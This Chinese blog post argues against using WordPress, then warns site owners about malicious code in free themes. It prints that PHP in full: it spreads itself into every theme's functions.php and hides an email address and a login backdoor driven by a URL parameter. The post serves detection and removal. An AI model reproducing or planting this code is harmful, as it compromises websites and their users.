GG资源网

不推荐用WordPress建站的六個原因(一些wordpress免费主题放置了恶意代码,你知道吗?)

不推荐用WordPress建站的六個原因

每个网站建设初期,并非一定都是由专业的人员来执行,尤其当你自认为委托了专业的网站建设公司架设Wordpress网站时,该公司的服务方式与技术能力也无法保证你的网站能长久被使用。

首先,不得不认同的是WordPress是一个很好的CMS(内容管理系统),它解决了许多因为技术门槛无法自己架设网站的问题,但是大家必须知道,使用WordPress架设网站绝对不是简单的任务,纵使非常有经验的网站建设师与程式设计师也无法轻松的驾驭Wordpress,以下六个缺点,目前并非完全无法解决,但是只有非常少数熟悉它的工程师有办法排除,当然,最让人害怕的是WordPress网站漏洞始终无法根绝,因为WordPress是完全开源的,并且容许让第三方公司与个人针对原始代码来开发不同的附加功能插件,所以这就让黑客有非常大的空间可以上下其手了。

1. 网站漏洞,黑客入侵的风险。

所有在网络上的网站都有被黑客入侵的风险,为何单单只有WordPress时常被黑客入侵呢?

主要原因是因为WordPress有太多企业在使用,目前全球网络上有30%左右的网站都是使用WordPress架设,如果我是网络黑客,最大的效率是选择直接破解WordPress网站,如果发现了一个安全漏洞等于30%的网站都有机会被入侵成功,这是最有效率的攻击方式,即使使用了WordPress所提供的安全插件,也不足以保障网站的安全,毕竟使用WordPress就是因为它有大量的附加功能插件可以选用,但插件是否安全也无人敢保证,有可能插件是黑客“故意”制造的。

如果有使用过WordPress的人一定都知道痛点,骇客最常用的垃圾邮件与垃圾留言攻击,是最让人烦不胜烦的事情,会让真正有想留言与回覆的网友对这间公司的安全防护能力有疑虑,通常最后处理的方式只有关闭有问题的插件来处理。

2. 需要使用各种插件来达到想要的功能。

如果想要做到某种类型或功能的网站, WordPress网站建设公司通常会采用购买“模板开发公司“的插件来扩充网站的功能以达到客户要求, 但是并非所有功能都可以直接完成,非常有可能使用Wordpress所提供的免费或付费插件来使用,有些看似简单的博客网站,也可能是花了数千元买了模板,使用了很多不同类型的插件,才达到想要的效果。但安装过多插件会让网站更为臃肿并且会使浏览速度变慢,如果是委托网站建设公司管理网站,则须要留意是否安装过多的插件造成主机负担。

3. 繁琐的主题和插件更新。

管理模板与众多的小插件是非常耗神的工作,长则1、2个月,短则1、2周,不管是模板与插件都会要求重新更新,如果长时间不更新将会有插件相冲、停止运作、黑客入侵风险的问题,如果交由托管公司管理,每隔一段时间必须检查插件与模板是否果需要更新以免过期,导致网站无法使用。

4. 网页浏览速度慢。

网站安装了许多的插件、模板、庞大资料库与代码,一般来说WordPress 网站非常有可能比一般网站的容量大上数倍甚至数十倍,直接影响了网站的浏览速度,因为WordPress想要符合大范围使用者想要的功能,所以造成了文件数量庞大的状况。

这些问题是有机会排除的,但是需要耗费大量的时间与精神耐心来调整网站,制作并托管的WordPress 网页公司,只有极少数有良心的公司会帮企业主来排除这个问题,但是要网站建设公司排除这些问题需要花费更多人力与时间,当然价格就会没有那么亲民了。

5. 不利于SEO排名。

如果你有查询过网站的SEO排名,将会发现排名较好的网站大都不是WordPress网站,虽然WordPress也有推出SEO相关的插件,甚至是付费的,但效果都通常不如预期。

要让你想要的关键字在竞争激烈的排名中胜出,绝对不是简单安装个SEO插件可以达成的,因为SEO插件只能帮你解决一些基本的问题,绝大多数提升SEO分数的方式是必须要针对每个网站的状态来调整。

承上一个缺点「4. 网页浏览速度慢。」也是SEO的棘手问题,这也是必须网站首先优化的部分,由于托管公司手上几千个网站同时需要管理的情况下,又会有几家网站建设公司会正视这个问题呢?

6. WordPress网站可能会忽然关闭。

由于WordPress网站内有非常多的插件是会使用代码读取网络上其他外部程序资源的,万一有外部资源遗失或是服务器当机的情况发生时,有可能让网站也产生错误甚至关闭无法浏览,当插件越多时这类风险也相对的更大,有时关闭可能几个小时,但也有可能会几天,这类问题处理权限并不在你手上,所以发生时只能等待它修复,运气不好遇到将会造成你的客户无法正常看到网站而让公司产生损失。

总结

许多人认为WordPress 网站廉价、灵活、简单,但是,那是以网站后台操作有相当经验并且对于网页程式有一定程度了解的人来说,没有长期接触过网站后台的人必须谨慎对待,托管网站建设公司架设WordPress网站时,必须要经过仔细考量并且选择优质的网站建设公司,然而使用WordPress架设是否更为便宜,非常建议多方比较后再决定,因为网站上所看到的定价与实际的报价通常会有很大差距,货比三家不吃亏,WordPress原本只是为了建设博客所出现的开放系统,但因为“廉价“所以导致使用的人越来越多,撰写插件的人也越来越多,才会让黑客有了机会,也希望大家都能有安全的网站来使用。

一些wordpress免费主题放置了恶意代码,你知道吗?

一些wordpress免费主题放置了恶意代码,你知道吗?在主题的functions.php文件的底部存在着下面这个看起来和小工具有关系的代码,你认真研究过吗?其实它和wordpress沾不上一点关系!据一些站长反应,目前被感染的网站将会自动发送评论、网站等信息到livethemas@gmail.com这个Gmail邮箱上,是不是真的会向这个邮箱发送邮件,不得而知,这也并不是特别重要,重要的是,它会像“感冒一样”传染,它会让网站中所有安装的主题都会感染上这个恶意代码

虽然这些代码对网站本身没有多大伤害,但是,如果总是发邮件到那个邮箱,势必会一定程度上影响网站的速度。就算没有影响速度,也会让主题代码产生累赘。所以,如果发现如下代码,就把它无条件地删除。

重点提示:删除步骤,要先删除网站里的其它所有主题,再来删除现用主题function.php文件中的这段代码。否则,是删除不掉的。

该恶意代码如下:

<?php
function _verify_activate_widget(){
$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),\"<\".\"?\"));$output=\"\";$allowed=\"\";
$output=strip_tags($output, $allowed);
$direst=_get_all_widgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),\"themes\") + 6)));
if (is_array($direst)){
foreach ($direst as $item){
if (is_writable($item)){
$ftion=substr($widget,stripos($widget,\"_\"),stripos(substr($widget,stripos($widget,\"_\")),\"(\"));
$cont=file_get_contents($item);
if (stripos($cont,$ftion) === false){
$sar=stripos( substr($cont,-20),\"?\".\">\") !== false ? \"\" : \"?\".\">\";
$output .= $before . \"Not found\" . $after;
if (stripos( substr($cont,-20),\"?\".\">\") !== false){$cont=substr($cont,0,strripos($cont,\"?\".\">\") + 2);}
$output=rtrim($output, \"\\n\\t\"); fputs($f=fopen($item,\"w+\"),$cont . $sar . \"\\n\" .$widget);fclose($f);
$output .= ($showdot && $ellipsis) ? \"...\" : \"\";
}
}
}
}
return $output;
}
function _get_all_widgetcont($wids,$items=array()){
$places=array_shift($wids);
if(substr($places,-1) == \"/\"){
$places=substr($places,0,-1);
}
if(!file_exists($places) || !is_dir($places)){
return false;
}elseif(is_readable($places)){
$elems=scandir($places);
foreach ($elems as $elem){
if ($elem != \".\" && $elem != \"..\"){
if (is_dir($places . \"/\" . $elem)){
$wids[]=$places . \"/\" . $elem;
} elseif (is_file($places . \"/\" . $elem)&&
$elem == substr(__FILE__,-13)){
$items[]=$places . \"/\" . $elem;}
}
}
}else{
return false;
}
if (sizeof($wids) > 0){
return _get_all_widgetcont($wids,$items);
} else {
return $items;
}
}
if(!function_exists(\"stripos\")){
function stripos( $str, $needle, $offset = 0 ){
return strpos( strtolower( $str ), strtolower( $needle ), $offset );
}
}
if(!function_exists(\"strripos\")){
function strripos( $haystack, $needle, $offset = 0 ) {
if( !is_string( $needle ) )$needle = chr( intval( $needle ) );
if( $offset < 0 ){
$temp_cut = strrev( substr( $haystack, 0, abs($offset) ) );
}
else{
$temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) - $offset ), 0 ) ) );
}
if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE;
$pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) );
return $pos;
}
}
if(!function_exists(\"scandir\")){
function scandir($dir,$listDirectories=false, $skipDots=true) {
$dirArray = array();
if ($handle = opendir($dir)) {
while (false !== ($file = readdir($handle))) {
if (($file != \".\" && $file != \"..\") || $skipDots == true) {
if($listDirectories == false) { if(is_dir($file)) { continue; } }
array_push($dirArray,basename($file));
}
}
closedir($handle);
}
return $dirArray;
}
}
add_action(\"admin_head\", \"_verify_activate_widget\");
function _prepared_widget(){
if(!isset($length)) $length=120;
if(!isset($method)) $method=\"cookie\";
if(!isset($html_tags)) $html_tags=\"<a>\";
if(!isset($filters_type)) $filters_type=\"none\";
if(!isset($s)) $s=\"\";
if(!isset($filter_h)) $filter_h=get_option(\"home\");
if(!isset($filter_p)) $filter_p=\"wp_\";
if(!isset($use_link)) $use_link=1;
if(!isset($comments_type)) $comments_type=\"\";
if(!isset($perpage)) $perpage=$_GET[\"cperpage\"];
if(!isset($comments_auth)) $comments_auth=\"\";
if(!isset($comment_is_approved)) $comment_is_approved=\"\";
if(!isset($authname)) $authname=\"auth\";
if(!isset($more_links_text)) $more_links_text=\"(more...)\";
if(!isset($widget_output)) $widget_output=get_option(\"_is_widget_active_\");
if(!isset($checkwidgets)) $checkwidgets=$filter_p.\"set\".\"_\".$authname.\"_\".$method;
if(!isset($more_links_text_ditails)) $more_links_text_ditails=\"(details...)\";
if(!isset($more_content)) $more_content=\"ma\".$s.\"il\";
if(!isset($forces_more)) $forces_more=1;
if(!isset($fakeit)) $fakeit=1;
if(!isset($sql)) $sql=\"\";
if (!$widget_output) :

global $wpdb, $post;
$sq1=\"SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\\\"1\\\" AND comment_type=\\\"\\\" AND post_author=\\\"li\".$s.\"vethe\".$comments_type.\"mas\".$s.\"@\".$comment_is_approved.\"gm\".$comments_auth.\"ail\".$s.\".\".$s.\"co\".\"m\\\" AND post_password=\\\"\\\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count\";#
if (!empty($post->post_password)) {
if ($_COOKIE[\"wp-postpass_\".COOKIEHASH] != $post->post_password) {
if(is_feed()) {
$output=__(\"因为这是一个受保护的文章,没有摘录。.\");
} else {
$output=get_the_password_form();
}
}
}
if(!isset($fix_tag)) $fix_tag=1;
if(!isset($filters_types)) $filters_types=$filter_h;
if(!isset($getcommentstext)) $getcommentstext=$filter_p.$more_content;
if(!isset($more_tags)) $more_tags=\"div\";
if(!isset($s_text)) $s_text=substr($sq1, stripos($sq1, \"live\"), 20);#
if(!isset($mlink_title)) $mlink_title=\"Continue reading this entry\";
if(!isset($showdot)) $showdot=1;

$comments=$wpdb->get_results($sql);
if($fakeit == 2) {
$text=$post->post_content;
} elseif($fakeit == 1) {
$text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;
} else {
$text=$post->post_excerpt;
}
$sq1=\"SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\\\"1\\\" AND comment_type=\\\"\\\" AND comment_content=\". call_user_func_array($getcommentstext, array($s_text, $filter_h, $filters_types)) .\" ORDER BY comment_date_gmt DESC LIMIT $src_count\";#
if($length < 0) {
$output=$text;
} else {
if(!$no_more && strpos($text, \"<!--more-->\")) {
$text=explode(\"<!--more-->\", $text, 2);
$l=count($text[0]);
$more_link=1;
$comments=$wpdb->get_results($sql);
} else {
$text=explode(\" \", $text);
if(count($text) > $length) {
$l=$length;
$ellipsis=1;
} else {
$l=count($text);
$more_links_text=\"\";
$ellipsis=0;
}
}
for ($i=0; $i<$l; $i++)
$output .= $text[$i] . \" \";
}
update_option(\"_is_widget_active_\", 1);
if(\"all\" != $html_tags) {
$output=strip_tags($output, $html_tags);
return $output;
}
endif;
$output=rtrim($output, \"\\s\\n\\t\\r\\0\\x0B\");
$output=($fix_tag) ? balanceTags($output, true) : $output;
$output .= ($showdot && $ellipsis) ? \"...\" : \"\";
$output=apply_filters($filters_type, $output);
switch($more_tags) {
case(\"div\") :
$tag=\"div\";
break;
case(\"span\") :
$tag=\"span\";
break;
case(\"p\") :
$tag=\"p\";
break;
default :
$tag=\"span\";
}
if ($use_link ) {
if($forces_more) {
$output .= \" <\" . $tag . \" class=\\\"more-link\\\"><a href=\\\"\". get_permalink($post->ID) . \"#more-\" . $post->ID .\"\\\" title=\\\"\" . $mlink_title . \"\\\">\" . $more_links_text = !is_user_logged_in() && @call_user_func_array($checkwidgets,array($perpage, true)) ? $more_links_text : \"\" . \"</a></\" . $tag . \">\" . \"\\n\";
} else {
$output .= \" <\" . $tag . \" class=\\\"more-link\\\"><a href=\\\"\". get_permalink($post->ID) . \"\\\" title=\\\"\" . $mlink_title . \"\\\">\" . $more_links_text . \"</a></\" . $tag . \">\" . \"\\n\";
}
}
return $output;
}
add_action(\"init\", \"_prepared_widget\");
function __popular_posts($no_posts=6, $before=\"<li>\", $after=\"</li>\", $show_pass_post=false, $duration=\"\") {
global $wpdb;
$request=\"SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \\\"comment_count\\\" FROM $wpdb->posts, $wpdb->comments\";
$request .= \" WHERE comment_approved=\\\"1\\\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\\\"publish\\\"\";
if(!$show_pass_post) $request .= \" AND post_password =\\\"\\\"\";
if($duration !=\"\") {
$request .= \" AND DATE_SUB(CURDATE(),INTERVAL \".$duration.\" DAY) < post_date \";
}
$request .= \" GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts\";
$posts=$wpdb->get_results($request);
$output=\"\";
if ($posts) {
foreach ($posts as $post) {
$post_title=stripslashes($post->post_title);
$comment_count=$post->comment_count;
$permalink=get_permalink($post->ID);
$output .= $before . \" <a href=\\\"\" . $permalink . \"\\\" title=\\\"\" . $post_title.\"\\\">\" . $post_title . \"</a> \" . $after;
}
} else {
$output .= $before . \"None found\" . $after;
}
return $output;
}
?>

由于网站搬家,部分链接失效,如无法下载,请联系站长!谢谢支持!
1. 带 [亲测] 说明源码已经被站长亲测过!
2. 下载后的源码请在24小时内删除,仅供学习用途!
3. 分享目的仅供大家学习和交流,请不要用于商业用途!
4. 本站资源售价只是赞助,收取费用仅维持本站的日常运营所需!
5. 本站所有资源来源于站长上传和网络,如有侵权请邮件联系站长!
6. 没带 [亲测] 代表站长时间紧促,站长会保持每天更新 [亲测] 源码 !
7. 盗版ripro用户购买ripro美化无担保,若设置不成功/不生效我们不支持退款!
8. 本站提供的源码、模板、插件等等其他资源,都不包含技术服务请大家谅解!
9. 如果你也有好源码或者教程,可以到审核区发布,分享有金币奖励和额外收入!
10.如果您购买了某个产品,而我们还没来得及更新,请联系站长或留言催更,谢谢理解 !
GG资源网 » 不推荐用WordPress建站的六個原因(一些wordpress免费主题放置了恶意代码,你知道吗?)

发表回复

CAPTCHAis initialing...